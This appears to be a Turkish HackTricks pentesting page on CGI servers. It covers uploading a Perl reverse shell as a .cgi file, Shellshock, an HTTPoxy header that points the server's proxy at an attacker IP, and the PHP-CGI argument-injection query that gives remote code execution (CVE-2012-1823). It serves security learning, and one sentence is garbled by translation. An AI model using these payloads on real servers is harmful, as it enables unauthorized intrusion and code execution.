CGI
Last updated
Last updated
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
CGI betikleri perl betikleridir, bu nedenle, .cgi betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, perl ters shell (/usr/share/webshells/perl/perl-reverse-shell.pl
) yükleyebilir, uzantıyı .pl'den .cgi'ye değiştirebilir, çalıştırma izinleri verebilir (chmod +x
) ve web tarayıcısından ters shell'e erişebilirsiniz. CGI zafiyetlerini test etmek için nikto -C all
(ve tüm eklentileri) kullanmanız önerilir.
ShellShock, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan Bash komut satırı kabuğunu etkileyen bir zafiyettir. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, bilgisayardaki süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan çevre değişkenlerinin manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine kötü niyetli kod ekleyerek bunu istismar edebilirler; bu kod, değişken alındığında çalıştırılır. Bu, saldırganların sistemi tehlikeye atmasına olanak tanır.
Bu zafiyeti istismar ederek sayfa bir hata verebilir.
Bu zafiyeti, eski bir Apache sürümü ve cgi_mod (cgi klasörü ile) kullandığını fark ederek bulabilirsiniz veya nikto kullanarak.
Çoğu test, bir şeyin yankesini yapmaya dayanır ve o dizenin web yanıtında döneceğini bekler. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin.
Nmap
CGI, http isteğinde her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.
HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. "Proxy: <IP_attacker>:<PORT>" içeren bir başlık göndermeyi deneyin ve eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabileceksiniz.
Temelde, cgi aktifse ve php "eski" ise (<5.3.12 / < 5.4.2) kod çalıştırabilirsiniz. Bu güvenlik açığını istismar etmek için, parametre göndermeden (özellikle "=" karakterini göndermeden) web sunucusundaki bazı PHP dosyalarına erişmeniz gerekir. Sonra, bu güvenlik açığını test etmek için, örneğin /index.php?-s
adresine erişebilirsiniz (not edin -s
) ve uygulamanın kaynak kodu yanıt olarak görünecektir.
Sonra, RCE elde etmek için bu özel sorguyu gönderebilirsiniz: /?-d allow_url_include=1 -d auto_prepend_file=php://input
ve isteğin gövdesinde çalıştırılacak PHP kodu. Örnek:
Zafiyet ve olası istismarlar hakkında daha fazla bilgi: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Yazım Örneği.
AWS Hacking Öğrenin ve Pratik Yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking Öğrenin ve Pratik Yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)